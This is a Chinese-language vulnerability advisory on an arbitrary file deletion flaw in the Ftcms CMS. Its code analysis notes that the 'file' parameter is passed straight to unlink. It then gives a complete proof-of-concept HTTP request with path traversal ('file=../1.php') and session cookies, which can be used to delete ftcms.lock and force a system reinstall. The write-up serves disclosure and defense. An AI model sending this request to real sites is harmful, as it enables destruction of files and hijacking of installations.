# ftcms前台任意文件删除漏洞

## 漏洞描述：

Ftcms tp.php页面存在任意文件删除漏洞，导致攻击者可以通过该漏洞删除ftcms.lock文件，从而达到重装系统的操作。

## 漏洞影响：

Ftcms

## 漏洞代码分析：



Get请求获取style和file两个参数，跟进file参数直接带入了unlink函数

## 漏洞复现：

POC：

GET /admin/index.php/tp/file\_del?style=&file=../1.php HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: keep-alive

Cookie: username=admin; pwd=admin; PHPSESSID=5fadc70qrah4hf8og9rhv8hc20; Hm\_lvt\_ff7ff59731fd28defa244db58332ee7f=1653529950,1653544276; Hm\_lpvt\_ff7ff59731fd28defa244db58332ee7f=1653544276; ci\_session=a%3A6%3A%7Bs%3A10%3A%22session\_id%22%3Bs%3A32%3A%22ac26734482c11e6fc2d984dc413162c8%22%3Bs%3A10%3A%22ip\_address%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A10%3A%22user\_agent%22%3Bs%3A115%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F101.0.4951.54+Safari%2F537.36%22%3Bs%3A13%3A%22last\_activity%22%3Bi%3A1653545443%3Bs%3A9%3A%22user\_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22user%22%3Ba%3A11%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A7%3A%22userpwd%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3Bs%3A5%3A%22email%22%3Bs%3A15%3A%22admin%40localhost%22%3Bs%3A7%3A%22regtime%22%3Bs%3A1%3A%220%22%3Bs%3A5%3A%22regip%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A9%3A%22logintime%22%3Bs%3A10%3A%221653536157%22%3Bs%3A7%3A%22loginip%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22hits%22%3Bs%3A1%3A%229%22%3Bs%3A9%3A%22listorder%22%3Bs%3A1%3A%220%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%2215%22%3B%7D%7D5dd7e8accfae8c25bbdb0d9af7816a46eff91b1e

Host: ftcms.io

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36

漏洞截图：



